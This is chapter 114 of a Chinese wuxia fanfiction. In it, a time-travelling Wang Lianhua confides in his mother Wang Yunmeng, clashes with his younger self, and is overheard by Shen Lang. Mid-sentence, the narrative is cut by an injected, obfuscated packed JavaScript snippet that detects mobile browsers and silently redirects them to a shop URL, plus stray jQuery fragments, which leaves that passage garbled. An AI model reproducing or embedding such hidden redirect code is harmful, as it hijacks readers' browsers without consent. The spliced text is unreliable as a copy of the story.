114.第一百一十四回
作品:《武林外史之在故事终点等你》 王云梦的出现并不是在王怜花的意料之外,他太了解自己的母亲了,以她的性子这时候才出现都算晚的了。
何况,柴玉关此时也在乐清县。
刚回府,吴铭就汇报了关于王云梦的事,抬手往吴铭下去,不用多管后,他抬头朝那小楼看去。在洛阳城内,这一模一样的小楼内,母亲经常就在里头。收回视线,王怜花朝罗浮园走去,那里是他和李妙清的院子。刚走到一半,一锦衣汉子出现了,他拦住了王怜花的路:“我家夫人有请柴公子上小楼一叙。”
王怜花知道自己终要和这个时代的母亲好好谈上一谈的,无论结果如何,最起码不能视而不见,否则后果不敢设想。
面上未有丝毫惊讶,只是神色冷冷:“带路。”
那锦衣汉子被王怜花的淡定自若震了一下,他恭敬地将人带上了小楼,一副这家主人奴仆做派。
那小楼外观已是金碧辉煌,里面的陈设却更如仙宫一般,而王云梦宫此刻斜倚在一张虎皮软榻上,似那仙宫神姬,天上仙子。
王云梦盯着站在自己面前的王怜花,眼波流转,颔首笑道:“倒是一副好相貌,只是不知公子与贵府夫人到底为何要带走我儿呢?”
此言一出,王怜花手掌立刻冰凉,他的母亲是在笑,可笑意不达眼底。
王怜花暗暗深吸一口气,不动声色地抱拳道:“夫人可否屏退左右?”
王云梦上下打量王怜花,含笑:“可。”然后,她就让身侧的人都退到门外去了,就连刚才“请”王怜花上来的人也一并离开了屋子。
待人都离去了,房内只剩下王云梦和王怜花时,王怜花忽然扭过头去,当他再度转过脸来时,已恢复了他原本的相貌。那相貌到底比他易容的更为出色,不知为何王云梦却觉他十分眼熟,忽然王云梦眼神凌冽:“你是谁?”
王怜花自知不能对着母亲拿乔,他恭敬跪下:“母亲。”
一声“母亲”让王云梦直接从斜倚的那一张虎皮软榻上起身,她眯了眯眼,将王怜花仔细打量。是了,这张脸没有错,是她的儿子王怜花,可她的儿子明明如今8岁,又怎会转眼就变作了二十来岁的青年?蹊跷,实在是蹊跷至极。
王怜花自知有些事可以对着母亲全盘托出,于是将自己来自未来的事都告知了,以王云梦的聪明才智,又有什么想不通呢?更何况,她如今要的是可以对付柴玉关的盟友,自己的儿子总要比其他没有血缘关系的人更可靠。
王云梦嫣然一笑:“那卉娘和你是……?”
王怜花四肢冰冷,但他还是回答:“卉娘与朱家堡有关系,她与朱家堡幼子关系甚密,我与她不慎出现在这个时代也是因为前往朱家堡的路上,遇到了袭击的人。”
王云梦问:“袭击的人?”
王怜花道:“是一个叫金不换的人,此人卑鄙狠厉,原与他是有合作的,想借他和另一人,在丐帮打下名头,岂料此人趁孩儿受伤之际,竟想下毒手,后被孩儿使计驱赶。之后,孩儿负伤被卉娘和朱家堡的人相救,以柴令梦的身份潜藏着,本打算亲自潜入朱家堡,借天下第一首富朱百万的财富帮助母亲,却在途中又再度受了此人的暗算……”
王云梦冷冷盯着王怜花,问:“此人功夫与你相较,如何?”
王怜花老实回答:“不及孩儿半分。”
王云梦冷笑:“不及半分,却将你暗算至此?什么时候……?”
话未说完,王怜花已经老老实实跪拜在地:“还望母亲见谅,是孩儿的错,孩儿一时低估,才致被那等人暗算,母亲且可放心,在这里,他已不会存在了。”
听了王怜花的话,王云梦满意地勾了勾唇:“花儿,你是为娘的好孩子,你瞧你……”伸出手,虚虚抬了抬,示意要将王怜花扶起,可王怜花岂敢真的让母亲扶起,他自觉直起身体,继续说道:“卉娘身负诰命,背后有朝廷势力,又与朱家堡联系甚密,孩儿本意借她之势的。来此之后,以夫妻相伴也是为了日后回去,继续借她之势,打通更多的关系,帮助母亲早日达成夙愿。”
王怜花眼眸半垂,模样乖巧,与王云梦记忆里的王怜花的模样重叠着,那么清晰。
这的确是她的儿子,王云梦很确信,而且不愧是她的儿子,能想到那么多。
“另,儿子也会继续想办法娶到朱家堡千金朱七七,只要得到朱七七,即便没了卉娘,依然可得朱百万的财富。”
王云梦满意地看着自己的儿子,咯咯笑道:“好孩子,这才是好孩子。”
再次伸手让王怜花起身,母子俩便在屋子内商谈了关于柴玉关的事,直至丑时末,王怜花才从屋子里走出来。出来时,他又将自己的容貌恢复成柴令梦的。下楼的时候,他神色冷漠,令人瞧不出来个所以然来。重新朝罗浮园走去,半道上他遇到了8岁王怜花,那小孩似乎等他许久。
“怎的不回去休息?偏要再此堵我?怕我和母亲做什么吗?”
8岁王怜花盯着他:“你和母亲说了什么?”
王怜花垂眸:“这个问题你该去问母亲。”
8岁王怜花有点儿生气:“王怜花!”声线陡然拔高,却也知此刻深夜,不该如此,便在陡然拔高的一瞬又压了下去:“你和我的目的只是柴玉关,只是那个男人。”
王怜花听了他这话,瞬间了然:“你怕我同母亲提及沈浪?提及你们二人在未来的关系?生怕母亲防患于未然,直接将他扼杀在摇篮里?”
8岁王怜花不语,但实际上王怜花已经戳中了他的内心想法。
王怜花看着过去的自己,不自觉笑出声来,他笑得克制,毕竟如今这环境处处都是危机,他不能如过去那般放
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17391988|192360||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
肆。而8岁的王怜花看着未来的自己,笑意中满是讥讽和不屑,更是气得发抖。到底是个8岁的孩子,再早熟,再聪慧,也还没到达未来的自己的那种无耻境界。
“很好笑吗?我又不是你,没人爱。”怎么戳心窝子这件事,还是自己最在行。
王怜花马上冷了脸:“你以为沈浪真的把你当朋友吗?你以为他从未怀疑过什么吗?就你与我和柴玉关的关系,若他知晓了,他还会当你是朋友吗?”
8岁王怜花冷冷道:“那又如何?他答应过我的,无论我是谁,我和他都会是兄弟,是朋友。”小孩仰着头,看着未来的自己继续戳刀子:“我不管你同母亲说了什么,有一点我也要警告你,你敢做出对不起沈小浪还有阿娘的事,我也有的是办法对付你,王怜花。”
王怜花那双眼带着一丝杀意,他在想这个小鬼为何这么讨厌?过去的自己怎的这般不似自己?到底是什么原因,造就了他如今这般的性子?
“你的阿娘是母亲,不是她。”王怜花提醒8岁的王怜花,让他切莫沉溺其中,都忘记自己最重要的任务是什么了。“王怜花,你是万家生佛柴玉关和云梦仙子王云梦之子,我们的身体流淌着这世上最邪恶两个人的血,所以你别把自己当成小小少侠了,你不是,你的未来终将会成为我这样卑劣和无耻的人。”
8岁王怜花怒不可歇,那眼睛瞪得圆滚大:“我不会!!”双拳握紧拳头,他喊得大声,忽然他想到什么,下意识看向了小楼,那里没有了烛火,说明屋子内的人已经休息了。他沉住气,死死盯着未来的自己,说道:“王怜花,你这样的人根本不配拥有一个很好的人,而我不会成为你的,我……不会!”丢下这话,8岁王怜花转身就跑了,小孩跑得很快,咻咻两下就瞧不见踪影了,而王怜花看着过去的自己,冷笑一声:“我都在地狱里了,凭什么你觉得自己不会跌入地狱?”笑的时候,他嘴角微微抽搐,多了一丝扭曲,使得这个笑变得狰狞起来。
夜晚的风有些凉,王怜花站在原处抬头看天,天空的夜那么黑,就连星星和月亮都瞧不见,真是一个差劲的夜晚。
转过身,王怜花重新朝罗浮园走去,他的心情在今晚变得极度糟糕,需要找一个人“回血”。
而等王怜花离开,没一会儿从树上跳下来一个人,这个人不是别人,正是沈浪。
他听到了王怜花和8岁王怜花的对话,脑子里全是他们俩是同一个人,一个是现在,一个是未来。他们是那个男人的孩子,而未来的王怜花和未来的他是敌人?是啊,柴玉关之子岂会和他成为好友呢?可现在又算什么?他们靠近他难不成是早有目的?还有卉姨……卉姨又在其中什么身份呢?
都是骗人的,一切都是假的,他们的身份,他们的一切。
沈浪垂眸,这一夜注定也是他的不眠夜。

